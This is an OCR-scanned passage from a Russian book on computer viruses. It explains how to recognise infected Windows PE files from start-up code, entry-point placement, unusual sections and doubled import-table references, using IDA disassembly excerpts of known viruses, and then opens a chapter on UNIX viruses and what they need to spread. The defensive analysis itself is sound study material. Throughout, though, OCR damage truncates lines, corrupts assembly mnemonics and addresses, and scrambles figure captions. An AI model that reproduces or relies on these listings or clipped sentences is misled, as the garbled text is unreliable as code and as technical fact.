Uncovered» его же, которую, кстати говоря, можно ста- щить отсюда: http://www.web-hack.rii/books/books.php?go=48 Здесь же мы не можем позволить себе подробно останавливаться на этом об- ширном вопросе и просто сравним стартовый код нормальной программы с ко- дом вируса Win2K.Inta.1676 (листинги 1.4 и 1.5). Листинг 1.4. Так выглядит нормальный start-up от Microsoft Visual C++ 6.0... .text:00401670 start proc near .text:00401670 push ebp .text:00401671 mov ebp. esp .text:00401673 push OrFFFFFFFh .text:00401675 push offset stru_420218 ,text:004016/A push of fset _except_handl er3 .text:0040167F mov eax. Щгде fs:0 .text:00401685 push eax .text:00401686 mov large fS:O. esp .text:00401696 Windows call ds:GetVersion ; Get current version numper of .text:004016EC push 0 .text;004016EE call heap_init .text:00401704 mov [ebp+var_4]. 0 .text:0040170B cal 1 ioinit .text:00401710 call ds:GetCommandL’neA .text:00401716 mov dword_424F44. eax .text:0040171B ca'l crtGetEnvironmentStringsA .text:00401720 mov dword_4235C0. eax .text:00401725 call _setargv .text:0040172A cal 1 setenvp .text:0040172F call __cinit .text:00401754 call main .text:00401763 call exit
р1сСТанаи6°лее веР0ЯТН0Г0 внедрения вирусов 37 ,• Листинг 1.5. Атак выглядят окрестности точки входа вируса Win2K.Inta.1676 text'.OOOUOOO start proc near text:00011000 mov eax. [esp+arg_0] text:00011004 lea edx. loc_U129 text:0001100A mov [eax+34h], edx text:0001100D lea edx. dword__U7A0 text:00011013 lea eax. aHh "HH" text:00011019 mov [edx+8], eax text:0001101C mov [eax+4J. aSystemrootSyst text:0001101C : "WSystemRoot\\system32\\ driversWinf ,sys“ text:00011023 push 1200h .text:00011028 push 0 .text:00011C2D call ExAllocatePool ,text:00011032 or eax. eax ,text:00011034 jnz short 1ОС_1103Е text:00011036 mov . eax. OCOOOOOOlh .text:0001103B retn '' 8 Смотрите, в то время как «хорошая» программа лениво опрашивает текущую версию операционной системы и иже с ней, зловредный вирус сломя голову несется в объятья драйвера inf.sys. Правильные программы так не поступают, и коварность вирусных планов разоблачается с первого взгляда! ПРИМЕЧАНИЕ--------------------------------------------------------— Разумеется, отсутствие стартового кода еще не есть свидетельство вируса! Быть может, исследуемый файл был упакован или разработчик применил нестандартный компиля- тор/набор библиотек. Ну, с упаковкой мы уже разобрались, а с идентификацией компи- лятора поможет справиться IDA и ваш личный опыт. ПРИМЕЧАНИЕ------------------------------------------------------------ Текущие версии IDA PRO определяют версию компилятора непосредственно по старто- вому коду и если он отсутствует или был изменен, механизм распознавания дезактиви- руется и поиском подходящей библиотеки сигнатур нам приходится заниматься вруч- ную, через меню File ► Load file ► FLIRT signature file. И если обнаружится, что нормальный start-up у файла все-таки есть, но выполнение программы начинается не с него, — шан- сы на присутствие вируса существенно возрастают! Троянские программы, в большинстве своем написанные на языках высокого Уровня, имеют вполне стандартный start-up и потому на такую наживку обна- руживаться не хотят. Взять, например, того же Kilez’a (листинг 1.6). Листинг 1.6. Стандартный стартовый код червя I-Worm.Kilez.h •text:00408458 start •text:00408458 •text:00408459 •text:0040845B •text:00408450 proc near push ebp mov ebp. esp push OFFFFFFFFh push offset stru_40D240 :sub_408458 Продолжение #
38 Глава 1. Борьба с windows-вирусами — опыт контртеррористических операций Листинг 1.6 (продолжение) text:00408462 oush offset except_handler3 text:00408467 mov eax. large fs:0 text:0040846D push eax text:0040846Е mov large fs:0. esp text :0040847В mov Febp+var_18]. esp text:0040847E call dsiGetVersion Get current version number of Windows text:004084AF xor esi. esi text :004084В! push esi text:004084B2 call heap_init text:004084C4 mov [ebp-fvar_4], esi text:004084C7 call ^loinit text:004084CC cal 1 dsiGetCommandLineA text:00408402 mov dword_494E68. eax text 100408407 call crtGetEnv i ronmentStrlngsA text:0040840C mov dword_493920. eax text:004084El cal 1 setargv text:004084E6 cal 1 setenvp text:004084EB call cinit text:004084F0 mov [ebp-StartupInfo.dwFlags]. esi text:004084F3 lea eax. [ebp+StartupInfo] text:004084F6 push eax ; IpStartupInfo text:004084F7 call ds.GetStartupInfoA text:004084FD cal 1 wincmdln Даже «невооруженным» глазом видно, что стартовый код червя идентичен стар- товому коду Microsoft Visual C++ 6.0, что совсем не удивительно, поскольку именно на нем червь и написан. ТОЧКА ВХОДА При внедрении вируса в файл точка входа в него неизбежно изменяется. Лишь немногие из вирусов ухитряются заразить файл, не прикасаясь к последней. Вирус может вписать по адресу оригинальной точки входа jump на свое тело, слегка подправить таблицу перемещаемых элементов, вклиниться в массив RVA-адресов таблицы импорта, внедриться в незанятые области кодовой сек- ции файла и т. д., однако ареал обитания таких особей ограничен преимуще- ственно застенками лабораторий, и в дикой природе они практически не встре- чаются. Не тот уровень подготовки у вирусописателей, не тот... «Нормальные» точки входа практически всегда находятся в кодовой секции исполняемого файла (. text), точнее — в гуще библиотечных функций (Нави- гатор IDA PRO по умолчанию выделяет их голубым цветом), непосредствен- но предшествуя секции данных (рис. 1.3 и 1.4). Точки входа зараженного фай- ла, напротив, чаще всего располагаются между секцией инициализированных и неинициализированных данных, практически у самого конца исполняем0' го файла.
<та наиболее вероятного внедрения вирусов ie ^иг"" TETHIS.e»e ttli text:86b03B6E text:00603B6E text: 00403B6E text:00803B6F text: 00b 0SI16E text:0eb69B6F text:00003061 text :88403B6E. text:08b03B6E text:08b0386E text:08063B6E text:800B3B6E .text:00403B6E text: 00403(16) text:00403061 .text:0048386E text:00403B6E texl:00is03B6F text.-00403871 text:00b03873 text:00403878 text:00403070 text:00403883 •text:08403884 start war ns МйГл J И УлВ” dC V/iJr 68 St art up йн uarJS uar uar 4 public start proc near » dwnrrt ptr ZSh « rtwort) ptr - Zbh " byte ptr -7(th • dwerd ptr -6Ch • dword ptr -68h = byte ptr -6i|h = byte ptr -6в1> » _S1fiRTbPlHFOft ptr St;h «• dword « dword « dword ptr 1«h ptr 1hh ptr h push noy push push push nou push no и ebp ; ebp, esp 0FFFFFFFF8 offset ot>R_d05988 offset loc_HB3CCC eax, large fs:0 eax large Fs:8, esp sub 403B6E beHal woyatoaWfed- «3 «fe :0«w DUk: «CM© ' CMG30SE: У у: чс. 1.з. так выглядит дизассемблерный листинг нормального файла. >чка входа расположена внутри секции .text в гуще библиотечных ункций, приходясь приблизительно на середину файла jK происходит потому, что при дозаписи своего тела в конеи ая» секция оказывается самой последней секцией инициализ! ’ Памяти, за которой простирается обширный регион иеиници; -иных, без которого не обходится практически ни одна програ Vcи демаскирует! Ни один из известных автору упаковщико аилов так себя не ведет, и потому ненормальное расположен аьцокой степенью вероятности свидетельствует о заражении < етсц1 ЛИ В|,РУС внедриться в середину файла? Да, может, но дл> Ыпк^аЗОРвать се^е задницу. Точнее — скорректировать все между концом и началом файла, что очень и очень нег ывая ют факт, что всякая секция, независимо отеефизиче: ИпУ'(''\’ М°Жет быть спроецирована по произвольному виртуа „ '1ОЖСт обосноваться в кусочке незанятой памяти, оставп к'1Ния гт-> j v|apToBblx адресов секций по кратным адресам, (t >г° °браза выравниваются по адресам кратным 2001
Глава 1. Борьба с windows-вирусами — опыт контртеррорисп эаничного имиджа на 1 OOOh байт. Поскольку различные сект зличпые атрибуты доступа к памяти, а всякий атрибут распр< :о страницу целиком, «делить» одну физическую страницу м< 1И с идентичными атрибутами.) [|DA-WinNT.Infix. 4608 ilSl *-1-1 gSlSSl H " 1HI Xl ”Й1 %H~H • vI.kIkH /I •eloc:8F8ft3830 start proc near Г •eloc:8F8Й383& reloc :8F Sft383D varjtf - byte ptr -4Ch eloczSF863830 = byte ptr -Wih eloc:8FB63830 * byte ptr -3Ch i-eloc: 8F863830 var 38 - byte ptr -38h -eloc:8F863830 reloc:BF86^830 pusha reloc:«F«63831 call $-> reloc:8FB63843 pop ebx reloc:8F863844 140V eax, ZS'ih reloc: 81 «63849 lea eax, [ebx*eax*8j reloc:0F063840 add [eax], ebx reloc:8F86384F mov eax, 27»h reloc:OF863854 lea eax, [ebx+eax»4] reloc:OF 863858 add [eax], ebx reloc:8F8A3856 i»OV eax, 2F5h !eloc:8F0A385F lea eax, [ebx+eax»i»] reloc:0F063863 add [eax], ebx reloc:OF0A3865 mo и eax, 387h reloc :8F6A38fi8 lea eax, [₽bx*eax*b] i- е1ос:8Гйй38Ы: add [eaxj, ebx reloc :8Г0й38?0 mov eax, 31Bh reloc:8F8A38Z5 lea eax, [ebx»eax«4f] «ecuir-g function feaW™ • bjfe ©own 195 MS ЮРОАЗбЗО; start -c. 1.4. Так выглядит дизассемблерный листинг файла, зараженного вирусе nNT.Infis.4608: точка входа расположена в секции .reloc, помещенной посредственно за концом инициализированных данных :эмой «кромки» исполняемого файла тссмотрим, например, как устроен стандартный «блокнот tepad.exe через утилиту efd.exe от Ильфака Гуильфанова, мы от 1в в 6BCh байт, разделяющий секции .data и .rsre. Причем пег амом исполняемом файле этот разрыв отсутствует (секции пр ipyry вплотную, без зазора), и он образуется уже после прост 1й в память (листинг 1.7). 4стинг 1.7. Расположение секций PE-файла до их проекции в память и пост TION 2 (.data ): virtual size : 00001944 ( 6468.)
веР°яТН0Г0 внедрения вирусов 41 virtual address 00008000 section size 00000600 ( 1536.) offset to raw data for section: 00006C00 offset to relocation 00000000 offset to line numbers 00000000 number of relocation entries : 0 number of line number entries : 0 Flags C0000040: data only Readable Writable Alignment: 16 bytes by default SECTION 3 (.rsrc ): virtual size . 00006000 ( 24576.) virtual address : 0000A000 section size : 00005400 ( 21504.) offset to raw data for section: 00007200 offset to relocation : 00000000 offset to line numbers : 00000000 number of relocation entries : 0 number of line number entries : 0 Flags 40000040: data only Readable Поэтому внедрение вируса в середину файла с последующей раздвижкой сек- ций .data и .rsrc не искажает RVA-адреса остальных частей файла. Тем же са- мым способом вирус может внедриться и вконец секции .text, что сделает факт заражения менее заметным (хотя, учитывая, что в копие секции .command, «Блок- нот» содержит свыше 1Кб неиспользуемого пространства, легко узнаваемого по цеончке нулей, драть задницу с перемещением секций незачем). Некоторые антивирусы ( и DrWeb в частности), обнаружив, что точка входа ука- зывает на секцию с атрибутом writable, сообщают, что файл, возможно, заражен. Однако это очень ненадежный признак, уверенно распознающий вторжение вируса в последнюю секцию файла, но пропускающий остальные типы внедре- ний. К тому же в атрибуте writable нуждаются многие вполне законопослушные Упаковщики и навесные защиты, вызывающие ложное срабатывание эвристи- ческого анализатора (впрочем, про то, что антивирусам доверять не стоит, мы Уже говорили). Убедитесь также, что точка входа не начинается с машинной команды jump или саН, передающей управление куда-то в конец файла. Обычно вирусы либо на- кладывают jump непосредственно поверх «живого» кода исходной программы (естественно, предварительно сохранив его оригинальное содержимое в своем теле), либо внедряют сюда целую функцию, предназначенную для отвода глаз («Голый» jump привлекает к себе слишком много внимания). Реже здесь удает- ся встретить текстовые строки или какой-нибудь забавный код, как, например, в случае с Win32.cabanas.b (рис. 1.5).
2 Глава 1. Борьба с windows-вирусами — опыт контртеррористич IDA - CA8ANAS.EXE ___ ___________________I ;йе ЕЛ Дмрр Seatefc; Йей» i Cptfcns : Hejp: ? « *1. jAV^w-a | : : - :; -.. v : * . . < _ LBE:08481й86 public start |jOE;084imW8 start proc near j E:00401066 jrip near pt Г 464660h JOE: 06401000 start encip 1BE100401060 ‘ vfc . «Учcl ВЙВ r — — — —_ |C£: 804610Й5 dw S М)Е:Й04018й/ aCUio32^cabaiKt»i db ’(t.) 43:?,Cabana» vl.i jqwritj?29«’ ,й call suh_40104B ; PUSH offset aCWin32_cabanas JOE:ЙЙ401Й32 aSectHulfieoeral t db ’ Si'cno-d grtirrafc ion s<sp}pip-' 5U ЮС: 00401Й48 ;1>£:0Й4Й1 848 ЭЛЕ: 88481048 U0E:06481Й48 6Ub_48104B proc near ; C>lBi. XKcf: С88Г.-,804810::Btp ЮЕ :0040104ft “ push 0 ; hWnd £>E: 80461840 call HessageBoxA HOE: 004810*» 2 posh 0 .«BE: 86481854 call $*$ №E:004II10S9 jrap d<«s: *>. гЛr*• - • > .'iE: 66401850 sub^46104ft endp inland AV jflfe -Dow .Disk 17БЕ ООООЙЙЗ ХйМЙЙЮ.’start ic. 1.5. Так выглядит дизассемблерный листинг файла, пораженного bhdvcc in32.Cabanas.b — непосредственно в точке входа находится jump ие окрестностей точки входа после заражения файла вирусо. -.льной инструкции mov eax, large fs:O вирус внедряет команд* свое тело
наиболее вероятного внедрения вирусов___________________ •тати говоря, вирус может внедриться и не в первую манниту допустив несколько инструкций, пристроиться где-то в середгп да. Для этого ему даже не потребуется включать в свое тело т ли дизассемблер — с некоторым риском можно ограничиться и да инструкции call (E8h XXh XXh XXh XXh, где XXh — отпоситслы хода, отсчитываемый от конца команды) или mov хх, dword prt т гружающей в регистр хх указатель па текущий обработчик стр цочений и встречающейся в подавляющем большинстве сово-. амм. Взгляните на файл, зараженный вирусом Win32.KME (риг :сти точки входа на первый взгляд выглядят вполне нормал всмотреться к ним повнимательнее, можно обнаружить весьма лй call, вылетающий за пределы кодовой секции файла. Он- оавление вирусному телу! ежду прочим, точка входа имеет смысл не только в исполняем, з динамических библиотеках тоже. При загрузке DLL в намят, же) управление автоматически передается стартовой функции, г ней библиотеку к нормальной работе. С точки зрения вируса, за : своей природе ничем не отличается от обычного исполняемой хтвляется аналогичным образом. Аналогичным образом оно и р 'lc-1.7. Так выглядит дизассемблерный листинг файла, зараженного вирусе, лолняемый код, расположенный в секции .reloc, предназначенной для хрань -□вмещаемых данных, сигнализирует о ненормальности ситуации
44 Глава 1. Борьба с windows-вирусами — опыт контрте НЕСТАНДАРТНЫЕ СЕКЦИИ При заражении исполняемого файла методом дозаписи с у вируса есть альтернатива: либо увеличить размер пос.' слившись с ней в алхимическом браке, либо создать свок. Оба этих способа легко распознаются визуально: 1. Код, расположенный в конце последней секции файла весьма характерный признак наличия вируса, равно : мыкающая собой файл и после недолгих мытарств nei «вперед» — на нормальную точку входа (рис. 1.7). 2. То же самое относится и к секциям с нестандартных совпадающими с именем самого вируса или маскируг создаваемые упаковщиками исполняемых файлов (н остается не упакован!) (рис. 1.8). Вирус может внедрг Шествующими секциями, проецируя «свою» секции участок виртуальной памяти, не перекрываемый секци. ку в «честных» программах секции чаще всего проециг го в порядке своего физического расположения в фак ции, нарушающей этот порядок, вызывает большие ш ffitDA Wm35 Nathan. 3732 db 6 ; db 8 ; i db » ; y ; . • 44"4:‘.'<и _rdata ends ; Section 9. (virtual address 00033000) ; Virtual size : 000020а» ( 8492.) ; Section size in file : 00001000 ( U896.) ; Offset to raw data for section: 0002C608 ; flags С0000ОЙ0: Data Readable Writable ; Alignment : 16 bytes ? _NattiaH segment para public ’DA1A‘ use32 assume csr_NathaN ;org 4331UWH public start ,Nathal1:Bi№33686 start: pftjv ecx, Mill cau stc мои ecx. ЗЙ21» lea ebp. [eax- Рис. 1.8. Так выглядит дизассемблерный листинг файла, зараженнс- внедряющегося в собственноручно созданную секцию с нестандартна разоблачающую вирус с головой
45 _____ иямболее вероятного внедрения вирусов (ИеСТа ———• — - -----—------— ТАБЛИЦА импорта Операционные системы семейства Windows поддерживают два основных спо- соба компоновки: статический и динамический. При статической компоновке имена (ординалы) вызываемых API-функций выносятся в специальную таб- лицу — таблицу импорта, изучение которой дает более или менее полное пред- ставление о природе исследуемой программы и круге ее интересов. К потенци- ально опасным функциям в первую очередь относятся сетевые функции, функции поиска, вызова и удаления файлов, TOOLHELP-фуакции, используе- мые для просмотра списка активных процессов и внедрения в них... Конечно, зловредной программе ничего не стоит загрузить все эти функции и са- мостоятельно, путем динамической компоновки, в простейшем случае опира- ющейся на вызов LoadLibrary/GetProcAddress, а то и вовсе на «ручной» поиск API- функций в памяти (адрес системного обработчика структурных исключений дает нам адрес, принадлежащий модулю KERNEL32.DLL, базовый адрес которого определяется сканированием памяти на предмет выявления сигнатур «MZ» н «РЕ» с последующим разбором PE-заголовка). Но в этом случае текстовые строки с именами соответствующих функций должны присутствовать в теле программы (если только они не зашифрованы и не импортируются по ордина- лу). Подробнее см. главу 4, разделы «Секреты проектирования shell-кода» и «Техника вызова системных функций». ВНИМАНИЕ-------------------------------------------------------------------- Статистика показывает, что таблица импорта троянских программ обычно носит резко полярный характер. Либо она вообще практически пуста, что крайне нетипично для нормальных, неупакованных, программ, либо содержит обращения к потенциально опас- ным функциям в явном виде. Конечно, сам факт наличия потенциально опасных функ- ций еще не свидетельствует о троянской природе программы, но без особой нужды ее все-таки лучше не запускать. Анализ таблицы импорта позволяет выявить также п ряд вирусных заражений. Собственно, у вируса есть два пути: использовать таблицу импорта файла-жерт- вы или создавать свою. Если необходимых вирусу API-функций в импорте Жертвы нет и она не импортирует функции LoadLibrary/GetProcAddress, вирус Должен либо отказаться от ее заражения, либо тем или иным образом импорти- ровать недостающие функции самостоятельно. Некоторые вирусы используют вызов по фиксированным адресам, но это делает их крайне нежизнеспособны- ми, ограничивая ареал обитания лишь теми версиями ОС, па которые явно рас- считывали их создатели; другие же определяют адреса функций «вручную»: по сигнатурному поиску или ручным анализом таблицы импорта; первое — гро- моздко и ненадежно, второе — слишком сложно в реализации для начинающих. И вот тут-то и начинается самое интересное. Разберем два варианта: использо- вание готовой таблицы импорта и внедрение своей. 11а первый взгляд кажется, ° отследить «левые» обращения к импорту жертвы просто нереально, так как 1 Н1,,,ем не отличаются от «нормальных». Теоретически. Практически же все так уж и безнадежно. Большинство сред разработки компилирует программы
46 Глава 1. Борьба с windows-вирусами — опыт контртеррористических опепа, -------------------------------------—---------------------------------- с инкрементной литовкой и вместо непосредственного вызова всякой имц0 тируемой функции, вызывает «переходник» к ней. Таким образом, каждая портируемая функция вызывается лишь однажды и IDA генерирует лишь перекрестную ссылку. При заражении файла картина меняется, и к АР1-фун " циям, используемым вирусом, теперь ведут две и более перекрестные ссы.ц(1[ Это — вернейший признак вирусного заражения! Вернее и быть не может (Лц стинги 1.8 и 1.9)! Листинг 1.8. «Заглушка», представляющая собой переходник к импортируемой функции и оттягивающая все перекрестные ссылки на себя BRAT0:00648310 CreateFileA BRAT0:00648310 BRAT0:00648310 FF 25 48 44+ BRAГ0:00648310 CreateFileA proc near . CODE XREF: sub_432A58+C0Tp : sub_432BC0+C0Tp ... jmp ds:_____IriP-CreateDTA endp Листинг 1.9. Таблица импорта исследуемого приложения: наличие «паразитной» ссылки на CreateFileA указывает на факт вирусного заражения idata:006A444G extrn imp_CreateDi rectoryA:dword : DATA XRE-: CreateCirectoryA?। idata:006A4444 extrn 1mp_CreateEventA:dword ; DATA XREF: CreateEventA?r idata:006A4448 extrn imp_CreateFileA:dword : DAIA XREF: CreateFi 1 eATr idata:006A4448 ; DATA XREF: sub_6A4140?r idata:006A444C extrn imp_CreateProcessA:dword : DATA XREF: CreateProcessA?’- idata:006A445C extrn i mp_CreateTr,read.- dwc+d DATA XREF : Createlbread?r Л что, если вирус захочет создать собственную секцию импорта или как вари- ант — попытается расширить уже существующую? Fly, две секции импорта для операционных систем семейства Windows — это слишком! Хотя... Почему, соб- ственно, нет? Вирус создает еще одну секцию импорта, дописывая ее в коней файла, копирует туда содержимое оригинальной таблицы импорта, добавляет недостающие API-функции и затем направляет ноле Import Table па «свою» таблицу импорта. По факту загрузки файла операционной системой вирус про- делывает обратную операцию, перетягивая таблицу импорта «назад». Необхо- димость последней операции объясняется тем, что система находит таблицу импорта по содержимому поля Import Table, а непосредственно сам исполняе- мый файл работает с пей по фиксированным адресам. ВНИМАНИЕ-----------------------------------------------------— Наличие двух таблиц импорта в файле — верный признак его заражения! Расширение уже существующей таблицы импорта менее заметно, по при на линии опыта работы с PE-файлами его все-таки можно разоблачить. Так, большинство линкеров упорядочивают импортируемые функции по алфа виту, и функции, дописанные вирусом в конец таблицы импорта, сразу Же обращают на себя внимание. Даже если импорт и не отсортирован, повЫ шейная концентрация характерных для вируса API-функций не останется незамеченной.
47 наИболее вероятного внедрения вирусов ПРИМЕЧАНИЕ — Перечисление имен всех импортируемых функций обычно идет сплошным потоком от первой до последней используемой DLL, причем библиотека KERNEL32.DLL (которая ви- русу и нужна!) оказывается в конце списка достаточно редко. Вирусу ничего не остает- ся как дописывать импорт из KERNEL32.DLL в хвост другой библиотеки, в результате чего ссылка на модуль KERNEL32.DLL в таблице импорта зараженного файла присут- ствует дважды! ...Вот мы и рассмотрели основные способы выявления зараженных файлов и те- перь можем смело приступать к расширению и углублению полученных знаний и навыков. Чем больше вирусов Пройдет через наши руки, — тем легче будет спра- виться с каждым из них. В конце концов, не так страшны вирусы, как люди...
ГЛАВА 2 ВИРУСЫ В UNIX, ИЛИ ГИБЕЛЬ ТИТАНИКА II из которой читатель узнает, что в UNIX-системах вирусы не только живут, но даже очень бурно размножаются, пожирая скрипты и демонстрируя с десяток различных способов внедрения в elf/coff/a.out файлы ...ночью 14 апреля 1912 года принадлежавший Британии непотопляемый океанский лайнер «Титаник» столкнулся с айсбергом и утонул, унеся с собой жизни более пятнад- цати сотен из двух тысяч двухсот пассажиров... Посколь- ку «Титаник» был непотопляем, на нем не хватило спаса- тельных шлюпок... Джозеф Хеплер. «Вообрази себе картину» ...считается, что в UNIX-системах вирусы не живут — они там дохнут. Отчасти это действительно так, однако не стоит путать принципиальную невозмож- ность создания вирусов с их отсутствием как таковых. В действительности же UNIX-вирусы существуют, и на начало 2004 года их популяция насчитывав более двух десятков. Немного? Не торопитесь с выводами. «Дефицит» вирУ; сов носит субъективный, а не объективный характер. Просто в силу меньШеИ распространенности UNIX-подобных операционных систем и специфики иХ
пт пррвнего мира до^ашихдней 49 направленности в юниксоидном мире практически не встречается даунов и ван- далов. Степень защищенности операционной системы тут ни при чем. Наде- яться, что UNIX сможет справиться с вирусами и сама несколько наивно, и, чтобы не разделить судьбу «Титаника», держите защитные средства всегда под рукой, тщательно проверяя каждый запускаемый файл на предмет нали- чия заразы. О том, как это сделать, и рассказывает следующая глава. от ДРЕВНЕГО МИРА ДО НАШИХ ДНЕЙ Исторически сложилось так, что первым нашумевшим вирусом стал Червь Морриса,запущенный им в Сеть2 ноября 1988 годам поражающий компьюте- ры, оснащенные 4 BSD UNIX. Задолго до этого, в ноябре 1983 года, доктор Фредерик Коэн (Dr. Frederick Cohen) доказал возможность существования са- моразмножающихся программ в защищенных операционных системах, проде- монстрировав несколько практических реализаций для компьютеров типа VAX, управляемых операционной системой UNIX. Считается, что именно он впер- вые употребил термин «вирус». На самом деле между этими двумя событиями нет ничего общего. Вирус Мор- риса распространялся через дыры в стандартном программном обеспечении (которые, кстати говоря, долгое время оставались незаткнутыми), в то время как Кози рассматривал проблему саморазмножающихся программ в идеализи- рованной операционной системе без каких-либо дефектов в системе безопас- ности вообще. Наличие дыр просто увеличило масштабы эпидемии и сделало размножение вируса практически неконтролируемым. А теперь перенесемся в наши дни. Популярность UNIX-подобных систем стре- мительно растет, и интерес к ним со стороны вирусописателей все увеличивает- ся. Квалификация же системных администраторов (пользователей персональ- ных компьютеров и рабочих станций), напротив, неуклонно падает. Все это создает благоприятную среду для воспроизводства и размножения вирусов, 11 процесс их «производства» в любой момент может принять лавинообразный ха- рактер, — стоит только соответствующим технологиям попасть в массы. Готово ли UNIX-сообщество противостоять этому? Пет! Судя по духу, витающему в теле- конференциях, н общему настроению администраторов, IINIX считается непотоп- ляемон системой и вирусная угроза воспринимается крайне скептически. Между тем качество тестирования программного обеспечения (неважно — рас- нространяемого в открытых исходных текстах или без таковых) достаточно невелико, и, по меткому выражению одного из хакеров, один единственный ^entlMail содержит больше дыр, чем все Windows-приложения, вместе взятые. х°Тя огромное количество различных дистрибьютивов UNIX-систем много- кратно снижает влияние каждой конкретной дырки, ограничивая ареал обита- *1ия вирусов сравнительно небольшим количеством машин, в условиях всеоб- ! Гл°бализации и высокоскоростных Интернет-каналов даже чрезвычайно пРательный вирус способен поразить тысячи компьютеров за считанные дни л” Да*е часы!
50 Глава 2. Вирусы в UNIX, или Гибель Тита„ ---------- -------------------— Распространению вирусов невероятно способствует тот факт, что в Подав ющем большинстве случаев система конфигурируется с довольно демократ-14 пы.м уровнем доступа. Иногда это происходит по незнанию и/илн небрежц0ИЧ системных администраторов, иногда по «производственной» необходимо^* Если на машине постоянно обновляется большое количество программно/ обеспечения (в том числе и создаваемого собственными силами), привилегии на модификацию исполняемых файлов становятся просто необходимы, в цр0 тивном случае процесс общения с компьютером из радости рискует превратив ся в мучение. Антивирусные программы, в том виде, в котором они есть сейчас, категории, ски не справляются со своей задачей, да и не Moiyr с ней справиться в принци- не. Это не означает, что они полностью бесполезны, но надеяться на их помощь было бы по меныней мере наивно. Как уже отмечалось выше, в настоящий мо- мент жизнеспособных UNIX-вирусов практически нет. И, стало быть, антиви- русным сканерам сканировать особо и нечего. Эвристические анализаторы так и не вышли из ясельной группы детского сада и к реальной эксплуатации в про- мышленных масштабах явно не готовы. Ситуация усугубляется тем, что в скриптовых вирусах крайне трудно выделить устойчивую сигнатуру — такую, чтобы не встречалась в «честных» программах и выдерживала хотя бы простейшие мутации, отнюдь не претендующие на по- лиморфизм. Антивирус Касперского ловит многие из существующих скрипто- вых вирусов, но... как-то странно он их ловит. Во-первых, вирусы обнаружива- ются далеко не во всех файлах, а во-вторых, простейшее переформатирование зараженного файла приводит к тому, что вирус остается незамеченным. Все скрипты, позаимствованные из потенциально ненадежных источников, сле- дует проверять вручную, поскольку: ...самый дурацкий троян может за несколько секунд парализовать жизнь сотен контор, которые напрасно надеются на разные антивирусы © Игорь Николаев Вы либо безоговорочно доверяете своему поставщику, либо нет. В полученном вами файле может быть все что угодно (и просто некорректно работающая пр° грамма в том числе!). Что бы там ни говорили фанатики UNIX, по вирусы размножаются и на эт® платформе. Отмахиваться от этой проблемы — означает уподобиться стр . Вы хотите быть страусами? Я думаю — нет! ЧТО ДУМАЮТ АДМИНИСТРАТОРЫ ОБ AVP ДЛЯ LINUX — Мужики, а чем вам, собственно, AVP не угодил? Тем, что вместо того, чтобы сесть, подумать и сделать как надо, н ли пионера, который не с первой попытки научился делать запускающиеся не только на его машине, и потом метались тудо с пытаясь кого-нибудь заинтересовать своей поделкой. До avpdaetno^’
51 вия необходимые для функционирования вирусов___ мечЧ додумались далеко не с первой попытки — сперва все какие-то по- делки с ncurses интерфейсом пихали. Наступили (по пионерству) на все положенные грабли. Сейчас кое-как работает, только почему-то от рута, и все время в кору падает. Нафиг, к терапевту. Пионер там был обучаемый, два раза одни и те же грабли не топтал — но оно мне надо, его обучать забесплатно? Drweb 'овцы купили именно тем, что пионеров нанимать не стали и головой думали до того, как писать, а не после того, как написали. Alex Korchmar (RU. LINUX) ...бинарная хренотень с кривыми наклонностями, непонятно похотливая на рута, делающая что-то непонятное, погано документированная, сто- ящая странных бабок и при этом интегрируемая в систему через задни- цу, должна спокойно уходить в /dev/null по мере поступления. Igor Nikolaev (RU.UNIX.BSD) УСЛОВИЯ, НЕОБХОДИМЫЕ ДЛЯ ФУНКЦИОНИРОВАНИЯ ВИРУСОВ Памятуя о том, что общепринятого определения «компьютерных вирусов» не существует, условимся обозначать этим термином все программы, способные к скрытому размножению. Последнее может быть как самостоятельным (пора- жение происходит без каких-либо действий со стороны пользователя: доста- точно просто войти в сеть), так и пет (вирус пробуждается только после запус- ка инфицированной программы). Сформулируем минимум требований, «предъявляемых» саморазмножающими- ся программами к окружающей среде (кстати, почему бы окружающую среду не назвать окружающим четвергом?): в операционной системе имеются исполняемые объекты; эти объекты можно модифицировать и/или создавать новые; происходит обмен исполняемыми объектами между различными ареалами обитания. Нод1 *ИСПОЛНЯСМЫМ объектом» здесь понимается некоторая абстрактная сущ- Кон ' СПОсо^Иая Управлять поведением компьютера по своему усмотрению. н е',но’ это пе самое удачное определение, но всякая попытка конкретизации в , ежн° оборачивается потерей значимости. Например, текстовый файл вый *Мате ASCII интерпретируется вполне определенным образом и на пер- вый ВЗГЛяд сРеДой обитания вируса быть никак не может. Однако, если тексто- альна5°11еСС0Р содеРжит ошибку типа «buffer overflow», существует вполне ре- Пеп Я в°зм°жность внедрения в файл машинного кода с последующей Дать аЧе^ На него Управления. А это значит, что мы не можем априори утверж- какой объект исполняемый, а какой нет.
52 Глава 2. Вирусы в UNIX, или Гибель Титанику В плане возвращения с небес теоретической экзотики па грешну землю обет ванну ограничим круг своих интересом тремя основными тинами исполу мых объектов: дисковыми файлами, оперативной памятью и загрузочными сек торами. Процесс размножения вирусов в общем случае сводится к модификации негюд пяемых объектов с таким расчетом, чтобы хоть однажды в жизни получу управление. Операционные системы семейства UNIX по умолчанию запреща. ют пользователям модифицировать исполняемые файлы, предоставляя эту при. вилегию лишь root’y. Это чрезвычайно затрудняет размножение вирусов, ц0 отнюдь не делает его невозможным! Во-первых, далеко не все пользователи UNIX осознают опасность регистрации с нравами root’a, злоупотребляя ей безо всякой необходимости. Во-вторых, некоторые приложения только под root’o.v и работают, причем создать виртуального пользователя, изолированного от всех остальных файлов системы, подчас просто не получается. В-третьих, наличие дыр в программном обеспечении позволяет вирусу действовать в обход уста- новленных ограничений. Тем более что, помимо собственно самих исполняемых файлов, в UNIX-систе- мах имеются и чрезвычайно широко используются интерпретируемые файлы (далее по тексту просто скрипты). Причем если в мире Windows командные файлы играют сугубо вспомогательную роль, то всякий уважающий себя UNIX- пользователь любое мало-мальски часто выполняемое действие загоняет в от- дельный скрипт, после чего забывает о нем напрочь. На скриптах держится не только командная строка, но и программы генерации отчетов, интерактивные web-странички, многочисленные управленческие приложения и т. д. Модифи- кация файлов скриптов, как правило, не требует никаких особенных прав, и по- тому они оказываются вполне перспективной кандидатурой для заражения. Также вирусы могут поражать исходные тексты и программ, и операционной системы с компилятором в том числе (их модификация в большинстве случа- ев разрешена). Черви могут вообще подолгу не задерживаться в одном компьютере, используя его лишь как временное пристанище для рассылки своего тела на другие маши- ны. Однако большинство червей все же предпочитает оседлый образ жизни кочевому, внедрясь в оперативную и/или долговременную память. Для своего размножения черви обычно используют дефекты операционной системы и/иЛи ее окружения, обеспечивающие возможность удаленного выполнения 